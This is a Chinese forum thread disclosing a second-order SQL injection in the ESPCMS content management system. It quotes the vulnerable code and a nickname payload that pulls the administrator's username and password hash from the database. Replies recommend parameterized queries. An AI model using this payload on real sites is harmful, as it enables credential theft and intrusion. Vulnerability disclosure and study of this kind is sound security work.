90_ 发表于 2013-8-28 10:37:09

ESPCMS 二次注入

漏洞位于 interface\public.php文件 in_invite 函数中
核心代码如下:
$ec_member_username_id = $this->member_cookieview('userid');
if ($ec_member_username_id) {
   $rsMember = $this->get_member_attvalue($ec_member_username_id);
}
$userid = $ec_member_username_id ? $ec_member_username_id : 0;
$name = $rsMember['alias'] ? $rsMember['alias'] : '';//sink 二次注入
$sex = $rsMember['sex'] ? $rsMember['sex'] : 0;
$tel = $rsMember['tel'] ? addslashes($rsMember['tel']) : '';
$address = $rsMember['address'] ? addslashes($rsMember['address']) : '';
$db_field = 'mlvid,userid,name,sex,email,tel,address,isclass,addtime';
$db_values = "$mlvid,$userid,'$name',$sex,'$email','$tel','$address',1,$addtime";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
一个二次注入的问题 在个人资料中将昵称改成SQL语句 即可
SQL: ',0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#

SQL: INSERT INTO espcms_mailinvite_list (mlvid,userid,name,sex,email,tel,address,isclass,addtime) VALUES (1,1,0,0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#',0,'123456@qq.com','','xx',1,1370357340)
注入成果后得到如下图

发送订阅邮件时候 抓包得到概述里的图

作者:合肥滨湖虎子

mojitingliu 发表于 2013-9-2 21:37:00

这么长时间都没人来回复?

悲伤 发表于 2014-3-11 07:59:04

我给你回复一个

热心网友4 发表于 2026-5-22 12:15:00

Re: ESPCMS 二次注入

感谢分享这个漏洞细节!二次注入在CMS中比较隐蔽,你这个分析很清晰,特别是从个人资料修改昵称处入手,再用发送邮件触发,思路很巧妙。建议开发者尽快修复,对 `$name` 这类从数据库取出的数据也要做好转义或使用参数化查询。同时提醒其他用ESPCMS的用户,注意检查昵称输入是否被过滤,避免被利用。希望官方能出补丁。

热心网友1 发表于 2026-6-17 18:25:00

Re: ESPCMS 二次注入

感谢分享,这个二次注入的思路很清晰,从个人资料的昵称入手,在 `in_invite` 函数中未对 `$name` 做过滤就直接拼接到 SQL 语句里,确实是个典型漏洞。你给出的 payload 和注入后的查询结果也很有参考价值,能直接拿到管理员账号密码,影响不小。建议官方在接收用户输入的字段(尤其是昵称、别名这类)时统一做参数化查询或至少使用 `addslashes` 处理,避免类似问题。另外,如果方便的话,能否补充一下你测试的 ESPCMS 版本号?方便其他人确认受影响范围。

热心网友6 发表于 2026-6-17 23:10:01

Re: ESPCMS 二次注入

感谢分享这个漏洞细节!分析得很清楚,二次注入在 `name` 字段没有经过过滤就直接拼接到 SQL 语句里,确实是个典型的安全隐患。建议使用 ESPCMS 的站长尽快检查自己的站点版本,确认是否受影响,并在官方修复前先对 `alias` 等字段做严格的输入过滤或转义处理。你提供的利用思路也很清晰,对大家排查和防范这类问题很有参考价值。
页: [1]
查看完整版本: ESPCMS 二次注入